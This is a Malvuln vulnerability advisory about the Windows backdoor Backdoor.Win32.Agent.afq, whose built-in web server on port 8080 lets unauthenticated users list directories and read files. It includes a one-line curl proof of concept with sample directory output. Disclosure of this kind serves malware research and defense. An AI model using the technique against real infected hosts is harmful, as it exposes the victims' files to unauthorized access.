Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.afq Vulnerability: Missing Authentication Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. There is no authentication, third-party attackers who can reach the server can list any dir and read any file on the infected host. Type: PE32 MD5: 853754de6b8ffbe1321a8c91aab5c232 Vuln ID: MVID-2021-0188 Dropped files: Disclosure: 04/27/2021 Exploit/PoC: curl http://192.168.88.127:8080/Windows Directory listing of /Windows Filename Size . 0 .. 0 addins 0 appcompat 0 apppatch 0 AppReadiness 0 assembly 0 bcastdvr 0 bfsvc.exe 65536 BitLockerDiscoveryVolumeContents 0 Boot 0 bootstat.dat 67584 etc.... Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).